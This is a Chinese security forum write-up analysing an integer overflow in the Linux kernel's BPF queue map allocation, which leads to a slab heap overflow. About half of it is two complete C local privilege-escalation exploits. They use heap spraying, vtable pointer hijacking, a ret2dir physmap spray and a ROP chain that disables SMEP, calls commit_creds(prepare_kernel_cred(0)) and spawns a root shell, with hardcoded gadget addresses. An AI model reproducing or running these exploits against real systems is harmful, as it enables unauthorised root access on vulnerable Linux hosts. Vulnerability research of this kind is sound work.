本文为看雪论坛精华文章
看雪论坛作者ID:ScUpax0s
Linux内核[BPF模块整数溢出] 漏洞分析
内核BPF模块
1. Linux Socket Filtering aka Berkeley Packet Filter (BPF)
2. Seccomp BPF (SECure COMPuting with filters)
3. LINUX系统安全_SANDBOX_SECCOMP-BPF
漏洞原理与触发
#include <linux/bpf.h>
int bpf(int cmd, union bpf_attr *attr, unsigned int size);
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
union bpf_attr attr = {};
int err;
if (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN))
return -EPERM;
err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size);
if (err)
return err;
size = min_t(u32, size, sizeof(attr));
/* copy attributes from user space, may be less than sizeof(bpf_attr) */
if (copy_from_user(&attr, uattr, size) != 0)
return -EFAULT;
err = security_bpf(cmd, &attr, size);
if (err < 0)
return err;
switch (cmd) {
case BPF_MAP_CREATE:
err = map_create(&attr);
break;
case BPF_MAP_LOOKUP_ELEM:
err = map_lookup_elem(&attr);
break;
case BPF_MAP_UPDATE_ELEM:
err = map_update_elem(&attr);
break;
case BPF_MAP_DELETE_ELEM:
err = map_delete_elem(&attr);
break;
case BPF_MAP_GET_NEXT_KEY:
err = map_get_next_key(&attr);
break;
case BPF_PROG_LOAD:
err = bpf_prog_load(&attr);
break;
case BPF_OBJ_PIN:
err = bpf_obj_pin(&attr);
break;
case BPF_OBJ_GET:
err = bpf_obj_get(&attr);
break;
case BPF_PROG_ATTACH:
err = bpf_prog_attach(&attr);
break;
case BPF_PROG_DETACH:
err = bpf_prog_detach(&attr);
break;
case BPF_PROG_QUERY:
err = bpf_prog_query(&attr, uattr);
break;
case BPF_PROG_TEST_RUN:
err = bpf_prog_test_run(&attr, uattr);
break;
case BPF_PROG_GET_NEXT_ID:
err = bpf_obj_get_next_id(&attr, uattr,
&prog_idr, &prog_idr_lock);
break;
case BPF_MAP_GET_NEXT_ID:
err = bpf_obj_get_next_id(&attr, uattr,
&map_idr, &map_idr_lock);
break;
case BPF_PROG_GET_FD_BY_ID:
err = bpf_prog_get_fd_by_id(&attr);
break;
case BPF_MAP_GET_FD_BY_ID:
err = bpf_map_get_fd_by_id(&attr);
break;
case BPF_OBJ_GET_INFO_BY_FD:
err = bpf_obj_get_info_by_fd(&attr, uattr);
break;
case BPF_RAW_TRACEPOINT_OPEN:
err = bpf_raw_tracepoint_open(&attr);
break;
case BPF_BTF_LOAD:
err = bpf_btf_load(&attr);
break;
case BPF_BTF_GET_FD_BY_ID:
err = bpf_btf_get_fd_by_id(&attr);
break;
case BPF_TASK_FD_QUERY:
err = bpf_task_fd_query(&attr, uattr);
break;
case BPF_MAP_LOOKUP_AND_DELETE_ELEM:
err = map_lookup_and_delete_elem(&attr);
break;
default:
err = -EINVAL;
break;
}
return err;
}
union bpf_attr attr = {};
......
case BPF_MAP_CREATE:
err = map_create(&attr);
break;
接下来看一下 map_create(&attr) 的源码。
static int map_create(union bpf_attr *attr)
{
int numa_node = bpf_map_attr_numa_node(attr);
struct bpf_map *map;
int f_flags;
int err;
err = CHECK_ATTR(BPF_MAP_CREATE);
if (err)
return -EINVAL;
f_flags = bpf_get_file_flag(attr->map_flags);
if (f_flags < 0)
return f_flags;
......
/* find map type and init map: hashtable vs rbtree vs bloom vs ... */
map = find_and_alloc_map(attr);
if (IS_ERR(map))
return PTR_ERR(map);
......
}
static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
const struct bpf_map_ops *ops;
u32 type = attr->map_type;
struct bpf_map *map;
int err;
if (type >= ARRAY_SIZE(bpf_map_types))
return ERR_PTR(-EINVAL);
type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types));
ops = bpf_map_types[type];
if (!ops)
return ERR_PTR(-EINVAL);
if (ops->map_alloc_check) {
err = ops->map_alloc_check(attr);
if (err)
return ERR_PTR(err);
}
if (attr->map_ifindex)
ops = &bpf_map_offload_ops;
map = ops->map_alloc(attr);
if (IS_ERR(map))
return map;
map->ops = ops;
map->map_type = type;
return map;
}
__u32 map_type; /* one of enum bpf_map_type */
static const struct bpf_map_ops * const bpf_map_types[] = {
#define BPF_PROG_TYPE(_id, _ops)
#define BPF_MAP_TYPE(_id, _ops) \
[_id] = &_ops,
#include <linux/bpf_types.h>
#undef BPF_PROG_TYPE
#undef BPF_MAP_TYPE
};
ARRAY_SIZE是获取数组中的元素个数。__must_be_array(arr) 要求其必须被用在数组上。
这个宏在驱动编程时常常用来获取设备结构体中设备的个数:
/**
* ARRAY_SIZE - get the number of elements in array @arr
* @arr: array to be sized
*/
#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
所以此函数在开始阶段判断了type的合法性。若不合法return err。
接下来有一个对于虚表中函数的调用:ops->map_alloc(attr)
if (attr->map_ifindex)
ops = &bpf_map_offload_ops;
map = ops->map_alloc(attr);
if (IS_ERR(map))
return map;
map->ops = ops;
map->map_type = type;
return map;
注意,此时的map_alloc是一个虚表(bpf_map_ops)中的函数。
数组中的每一项都由宏 BPF_MAP_TYPE 封装起来,对应id与ops:
#define BPF_MAP_TYPE(_id, _ops)
此时我们关注最下面的:
BPF_MAP_TYPE(BPF_MAP_TYPE_QUEUE, queue_map_ops) //BPF_MAP_TYPE_QUEUE为 22 (0x16)
queue_map_ops为:
onst struct bpf_map_ops queue_map_ops = {
.map_alloc_check = queue_stack_map_alloc_check,
.map_alloc = queue_stack_map_alloc, //关键函数
.map_free = queue_stack_map_free,
.map_lookup_elem = queue_stack_map_lookup_elem,
.map_update_elem = queue_stack_map_update_elem,
.map_delete_elem = queue_stack_map_delete_elem,
.map_push_elem = queue_stack_map_push_elem,
.map_pop_elem = queue_map_pop_elem,
.map_peek_elem = queue_map_peek_elem,
.map_get_next_key = queue_stack_map_get_next_key,
};
当我们将 attr->map_type 初始化为22时,对应着BPF_MAP_TYPE_QUEUE,此时会使用虚表 queue_map_ops。
此时是:
/* Called from syscall */
static int queue_stack_map_alloc_check(union bpf_attr *attr)
{
/* check sanity of attributes */
if (attr->max_entries == 0 || attr->key_size != 0 ||
attr->map_flags & ~QUEUE_STACK_CREATE_FLAG_MASK)
return -EINVAL;
if (attr->value_size > KMALLOC_MAX_SIZE) /* if value_size is bigger, the user space won't be able to
* access the elements.
*/
return -E2BIG;
return 0; //要到达这里
}
union bpf_attr *attr;
attr->map_type = BPF_MAP_TYPE_QUEUE; //BPF_MAP_TYPE_QUEUE
attr->max_entries = -1;
attr->map_flags = 0;
attr->value_size = 0x20;
int ret = syscall(__NR_bpf,0,attr,0x30);
static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
int ret, numa_node = bpf_map_attr_numa_node(attr);
struct bpf_queue_stack *qs;
u32 size, value_size;
u64 queue_size, cost;
size = attr->max_entries + 1;
value_size = attr->value_size;
queue_size = sizeof(*qs) + (u64) value_size * size;
cost = queue_size;
if (cost >= U32_MAX - PAGE_SIZE)
return ERR_PTR(-E2BIG);
cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT;
ret = bpf_map_precharge_memlock(cost);
if (ret < 0)
return ERR_PTR(ret);
qs = bpf_map_area_alloc(queue_size, numa_node);
if (!qs)
return ERR_PTR(-ENOMEM);
memset(qs, 0, sizeof(*qs));
bpf_map_init_from_attr(&qs->map, attr);
qs->map.pages = cost;
qs->size = size;
raw_spin_lock_init(&qs->lock);
return &qs->map;
}
我们关注到这样一行:
u32 size;
size = attr->max_entries + 1;
size 本身作为一个unsigned int 32的类型,如果我们令 attr->max_entries = -1 ,那么size就会产生一个整数溢出。
更进一步的,他控制了 bpf_map_area_alloc 分配的大小:
......
struct bpf_queue_stack *qs;
u32 size, value_size;
u64 queue_size, cost;
size = attr->max_entries + 1;
value_size = attr->value_size;
queue_size = sizeof(*qs) + (u64) value_size * size;
......
qs = bpf_map_area_alloc(queue_size, numa_node);
......
bpf_map_init_from_attr(&qs->map, attr);
......
qs->size = size;
return &qs->map;
void *bpf_map_area_alloc(size_t size, int numa_node)
{
......
area = kmalloc_node(size, GFP_USER | flags, numa_node);
if (area != NULL)
return area;
......
}
以size为参数,通过kmalloc_node 分配内核空间为area。
bpf_queue_stack结构体定义如下:
struct bpf_queue_stack {
struct bpf_map map;
raw_spinlock_t lock;
u32 head, tail;
u32 size; /* max_entries + 1 */
char elements[0] __aligned(8);
};
void bpf_map_init_from_attr(struct bpf_map *map, union bpf_attr *attr)
{
map->map_type = attr->map_type;
map->key_size = attr->key_size;
map->value_size = attr->value_size;
map->max_entries = attr->max_entries;
map->map_flags = attr->map_flags;
map->numa_node = bpf_map_attr_numa_node(attr);
}
/* find map type and init map: hashtable vs rbtree vs bloom vs ... */
map = find_and_alloc_map(attr);
if (IS_ERR(map))
return PTR_ERR(map);
根据名字进行合理猜测,在 BPF_MAP_CREATE 分支中我们创建了map对象。
而在BPF_MAP_UPDATE_ELEM 分支中我们对此对象进行更新等操作。
这个函数被我简化后如下:
static int map_update_elem(union bpf_attr *attr)
{
void __user *ukey = u64_to_user_ptr(attr->key);
void __user *uvalue = u64_to_user_ptr(attr->value);
int ufd = attr->map_fd;
struct bpf_map *map;
void *key, *value;
u32 value_size;
struct fd f;
int err;
......
f = fdget(ufd);
map = __bpf_map_get(f);
if (IS_ERR(map))
return PTR_ERR(map);
......
value_size = map->value_size;
value = kmalloc(value_size, GFP_USER | __GFP_NOWARN); //kmalloc申请一块堆空间
if (!value)
goto free_key;
err = -EFAULT;
if (copy_from_user(value, uvalue, value_size) != 0) //将用户的uvalue拷贝value_size字节到申请出的value上。
goto free_value;
......
else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
map->map_type == BPF_MAP_TYPE_STACK) {
err = map->ops->map_push_elem(map, value, attr->flags);//将value的内容放入map
......
}
/* Called from syscall or from eBPF program */
static int queue_stack_map_push_elem(struct bpf_map *map, void *value,
u64 flags)
{
struct bpf_queue_stack *qs = bpf_queue_stack(map);
unsigned long irq_flags;
int err = 0;
void *dst;
/* BPF_EXIST is used to force making room for a new element in case the
* map is full
*/
bool replace = (flags & BPF_EXIST);
/* Check supported flags for queue and stack maps */
if (flags & BPF_NOEXIST || flags > BPF_EXIST)
return -EINVAL;
raw_spin_lock_irqsave(&qs->lock, irq_flags);
if (queue_stack_map_is_full(qs)) {
if (!replace) {
err = -E2BIG;
goto out;
}
/* advance tail pointer to overwrite oldest element */
if (unlikely(++qs->tail >= qs->size))
qs->tail = 0;
}
dst = &qs->elements[qs->head * qs->map.value_size]; //qs->head代表当前是第几个entry
memcpy(dst, value, qs->map.value_size); //堆溢出位置。
if (unlikely(++qs->head >= qs->size))
qs->head = 0;
out:
raw_spin_unlock_irqrestore(&qs->lock, irq_flags);
return err;
}
struct bpf_queue_stack {
struct bpf_map map;
raw_spinlock_t lock;
u32 head, tail;
u32 size; /* max_entries + 1 */
char elements[0] __aligned(8);
};
struct bpf_map {
/* The first two cachelines with read-mostly members of which some
* are also accessed in fast-path (e.g. ops, max_entries).
*/
const struct bpf_map_ops *ops ____cacheline_aligned;
struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
void *security;
#endif
enum bpf_map_type map_type;
u32 key_size;
u32 value_size;
u32 max_entries;
u32 map_flags;
u32 pages;
u32 id;
int numa_node;
u32 btf_key_type_id;
u32 btf_value_type_id;
struct btf *btf;
bool unpriv_array;
/* 55 bytes hole */
/* The 3rd and 4th cacheline with misc members to avoid false sharing
* particularly with refcounting.
*/
struct user_struct *user ____cacheline_aligned;
atomic_t refcnt;
atomic_t usercnt;
struct work_struct work;
char name[BPF_OBJ_NAME_LEN];
};
dst = &qs->elements[qs->head * qs->map.value_size]; //qs->head代表当前是第几个entry,索引到目标entry
memcpy(dst, value, qs->map.value_size); //拷贝数据到entry,堆溢出位置。
if (unlikely(++qs->head >= qs->size))
qs->head = 0;
漏洞利用
struct bpf_map {
/* The first two cachelines with read-mostly members of which some
* are also accessed in fast-path (e.g. ops, max_entries).
*/
const struct bpf_map_ops *ops ____cacheline_aligned;
......
可以看到其第一个成员就是虚表指针 ops ,换句话说,在我们kamlloc出的slab中的第一个位置就是指向当前map虚表的指针,如果我们能通过上方的slab堆溢出,劫持下方slab的虚表指针,再fake相应的vtable,就可以实现一套内核的执行流劫持。
exp编写
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/bpf.h>
#include <stdint.h>
#ifndef BPF_MAP_TYPE_QUEUE
#define BPF_MAP_TYPE_QUEUE 22
#endif
#ifndef BPF_MAP_TYPE_STACK
#define BPF_MAP_TYPE_STACK 23
#endif
#define N 14
//#define DEBUG
#define EVIL_CR4 0x6f0
#define COMMIT_CREDS 0xffffffff810bd9c0
#define PREPARE_KERNEL_CRED 0xffffffff810bdc70
#define NATIVE_WRITE_CR4 0xffffffff81072820
#define POP_RAX_RET 0xffffffff81039ee1
#define POP_RDI_RET 0xffffffff810890a0
#define SWAPGS 0xffffffff810728c4
#define IRETQ
#define SYSRET 0xffffffff81c00163
#define IRETQ 0xFFFFFFFF8103713B
#define XCHG_EAX_ESP 0xffffffff810534d0
#define EVIL_RSP 0x810534d0
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
uint64_t value[7];
union bpf_attr *attr;
union bpf_attr *attr2;
unsigned int spray_map_fd[15];
__attribute__((constructor)) static void Init ( void )
{
attr = malloc(0x100);
attr2 = malloc(0x100);
}
size_t user_cs, user_ss, user_rflags, user_sp; //保存用户态寄存器状态
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
void kernel_heap_spray()
{
int i=0;
for(i;i<N;i++)
{
spray_map_fd[i] = syscall(__NR_bpf,BPF_MAP_CREATE,attr,0x30);
}
return;
}
void ret2usr()
{
commit_creds(prepare_kernel_cred(0));
}
void shell()
{
printf("[*] welcome to root :-)\n");
system("/bin/sh");
}
uint64_t rop[12] = {
POP_RDI_RET, //0
EVIL_CR4, //1
NATIVE_WRITE_CR4, //2
(size_t)ret2usr, //3
SWAPGS, //4
0, //5
IRETQ, //6
(size_t)shell, //7
// user_cs, //8
// user_rflags, //9
// user_sp, //10
// user_ss //11
};
void *fake_ops;
void *evil_rsp;
void set_up_rop()
{
if((fake_ops = mmap((void *)0xa000000000,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
perror("fake_ops mmap failed!");
exit(0);
}
//memcpy(fake_ops,flag,0x8);
*(unsigned long*)(fake_ops) = 0;
*(unsigned long*)(fake_ops+0x10)= XCHG_EAX_ESP; //栈迁移gadgets,迁移之后rsp = 0x810534d0
if((evil_rsp = mmap((void *)(EVIL_RSP-0x4d0),0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
perror("evil_rsp mmap failed!");
exit(0);
}
//kernel heap overflow padding.
value[0] = 0;
value[1] = 0;
value[2] = 0;
value[3] = 0;
value[4] = 0;
value[5] = 0;
value[6] = fake_ops;
memcpy((void *)(evil_rsp+0x4d0),rop,sizeof(rop));
}
int main()
{
save_status();
rop[8] = user_cs;
rop[9] = user_rflags;
rop[10] = user_sp;
rop[11] = user_ss;
unsigned int ret = 0;
void *p;
attr->map_type = 0x16; //BPF_MAP_TYPE_QUEUE 0x16
attr->max_entries = -1;
attr->map_flags = 0;
attr->value_size = 0x40;
//attr->key = 0;
ret = syscall(__NR_bpf,BPF_MAP_CREATE,attr,0x30);
if(ret == -1)
{
perror("bpf failed");
exit(0);
} //0x40eda5
printf("map fd:%d\n",ret);
kernel_heap_spray();
set_up_rop();
#ifdef DEBUG
for(int i=0;i<N;i++)
{
printf("map fd:%d\n",spray_map_fd[i]);
}
#endif
/*堆溢出覆盖ops虚表指针*/
attr2->map_fd = ret;
attr2->value = value;
attr2->value_size = 0x40;
attr2->key = 0;
attr2->flags = 2;
syscall(__NR_bpf,BPF_MAP_UPDATE_ELEM,attr2,0x30);
for(int i=0;i<N;i++)
{
close(spray_map_fd[i]);
}
printf("close over!\n");
getchar(); //防止我们的内存被回收掉。
return 0;
}
效果:
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/bpf.h>
#include <stdint.h>
#ifndef BPF_MAP_TYPE_QUEUE
#define BPF_MAP_TYPE_QUEUE 22
#endif
#ifndef BPF_MAP_TYPE_STACK
#define BPF_MAP_TYPE_STACK 23
#endif
#define N 14
#define DEBUG
#define EVIL_CR4 0x6f0
#define COMMIT_CREDS 0xffffffff810bd9c0
#define PREPARE_KERNEL_CRED 0xffffffff810bdc70
#define NATIVE_WRITE_CR4 0xffffffff81072820
#define POP_RAX_RET 0xffffffff81039ee1
#define POP_RDI_RET 0xffffffff810890a0
#define SWAPGS 0xffffffff810728c4
#define IRETQ
#define SYSRET 0xffffffff81c00163
#define IRETQ 0xFFFFFFFF8103713B
#define XCHG_EAX_ESP 0xffffffff810534d0
#define EVIL_PHY_MAP 0xffff888003015000
#define spray_times 32*32
#define SIZE 1024*64 //64k
#define SIZE 1024*64 //64k
#define spray_times 32*32
#define EVIL_RSP 0x810534d0
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
uint64_t value[7];
union bpf_attr *attr;
union bpf_attr *attr2;
unsigned int spray_map_fd[15];
uint64_t xchg_eax_esp_addr = 0xffffffff810534d0;
__attribute__((constructor)) static void Init ( void )
{
attr = malloc(0x100);
attr2 = malloc(0x100);
}
size_t user_cs, user_ss, user_rflags, user_sp; //保存用户态寄存器状态
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
void kernel_heap_spray()
{
int i=0;
for(i;i<N;i++)
{
spray_map_fd[i] = syscall(__NR_bpf,BPF_MAP_CREATE,attr,0x30);
}
return;
}
void ret2usr()
{
commit_creds(prepare_kernel_cred(0));
}
void shell()
{
printf("[*] welcome to root :-)\n");
system("/bin/sh");
}
uint64_t rop[12] = {
POP_RDI_RET, //0
EVIL_CR4, //1
NATIVE_WRITE_CR4, //2
(size_t)ret2usr, //3
SWAPGS, //4
0, //5
IRETQ, //6
(size_t)shell, //7
// user_cs, //8
// user_rflags, //9
// user_sp, //10
// user_ss //11
};
void *evil_rsp;
void set_up_rop()
{
if((evil_rsp = mmap((void *)(EVIL_RSP-0x4d0),0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
perror("evil_rsp mmap failed!");
exit(0);
}
//kernel heap overflow padding.
value[0] = 0;
value[1] = 0;
value[2] = 0;
value[3] = 0;
value[4] = 0;
value[5] = 0;
value[6] = EVIL_PHY_MAP;
memcpy((void *)(evil_rsp+0x4d0),rop,sizeof(rop));
}
void *spray[spray_times];
size_t slab_addr = 0xffff8880056eec00 & 0xffffffffff000000;
void ret2dir()
{
// & 0xffffffffff000000
printf("slab addr:%p\n",slab_addr);
void *mp;
int i=0;
for(i=0;i<spray_times;i++){ //64k * 1024 = 64M
if((mp = mmap(NULL,SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
perror("mmap failed!");
exit(0);
}
// if(i!=0x5 && i!=4 && i!=6)
// {
// //memset(mp,0x0+i,SIZE); // filled with index
// for(int j=0;j<0x100;j++)
// {
// memcpy((uint64_t *)mp+j,&xchg_eax_esp_addr,8);
// }
// }else if(i==0x5 || i==0x4 || i==0x6)
// {
// for(int j=0;j<0x100;j++)
// {
// memcpy((uint64_t *)mp+j,&xchg_eax_esp_addr,8);
// }
// }
for(int j=0;j<0x100;j++)
{
memcpy((uint64_t *)mp+j,&xchg_eax_esp_addr,8);
}
spray[i] = mp; // record mmap addr
}
printf("[+] spray size: 0x%x\n",spray_times*SIZE);
}
int main()
{
ret2dir();
//x /20gx 0xffff888003000000
//x /20gx 0xffff888004000000
//0xffff888003010000: 0x0404040404040404 0x0404040404040404
save_status();
rop[8] = user_cs;
rop[9] = user_rflags;
rop[10] = user_sp;
rop[11] = user_ss;
unsigned int ret = 0;
void *p;
attr->map_type = 0x16; //BPF_MAP_TYPE_QUEUE 0x16
attr->max_entries = -1;
attr->map_flags = 0;
attr->value_size = 0x40;
//attr->key = 0;
ret = syscall(__NR_bpf,BPF_MAP_CREATE,attr,0x30);
if(ret == -1)
{
perror("bpf failed");
exit(0);
} //0x40eda5
printf("map fd:%d\n",ret);
kernel_heap_spray();
set_up_rop();
#ifdef DEBUG
for(int i=0;i<N;i++)
{
printf("map fd:%d\n",spray_map_fd[i]);
}
#endif
/*堆溢出覆盖ops虚表指针*/
attr2->map_fd = ret;
attr2->value = value;
attr2->value_size = 0x40;
attr2->key = 0;
attr2->flags = 2;
syscall(__NR_bpf,BPF_MAP_UPDATE_ELEM,attr2,0x30);
for(int i=0;i<N;i++)
{
close(spray_map_fd[i]);
}
printf("close over!\n");
getchar(); //防止我们的内存被回收掉。
return 0;
}
说一下思想,首先我借由https://bbs.pediy.com/thread-263992.htm的思路大致定位到了phymaps的位置。调整qemu内存为120M,增大几率。
void *spray[spray_times];
size_t slab_addr = 0xffff8880056eec00 & 0xffffffffff000000;
void ret2dir()
{
// & 0xffffffffff000000
printf("slab addr:%p\n",slab_addr);
void *mp;
int i=0;
for(i=0;i<spray_times;i++){ //64k * 1024 = 64M
if((mp = mmap(NULL,SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
perror("mmap failed!");
exit(0);
}
// if(i!=0x5 && i!=4 && i!=6)
// {
// //memset(mp,0x0+i,SIZE); // filled with index
// for(int j=0;j<0x100;j++)
// {
// memcpy((uint64_t *)mp+j,&xchg_eax_esp_addr,8);
// }
// }else if(i==0x5 || i==0x4 || i==0x6)
// {
// for(int j=0;j<0x100;j++)
// {
// memcpy((uint64_t *)mp+j,&xchg_eax_esp_addr,8);
// }
// }
for(int j=0;j<0x100;j++)
{
memcpy((uint64_t *)mp+j,&xchg_eax_esp_addr,8);
}
spray[i] = mp; // record mmap addr
}
printf("[+] spray size: 0x%x\n",spray_times*SIZE);
}
看雪ID:ScUpax0s
https://bbs.pediy.com/user-home-876323.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!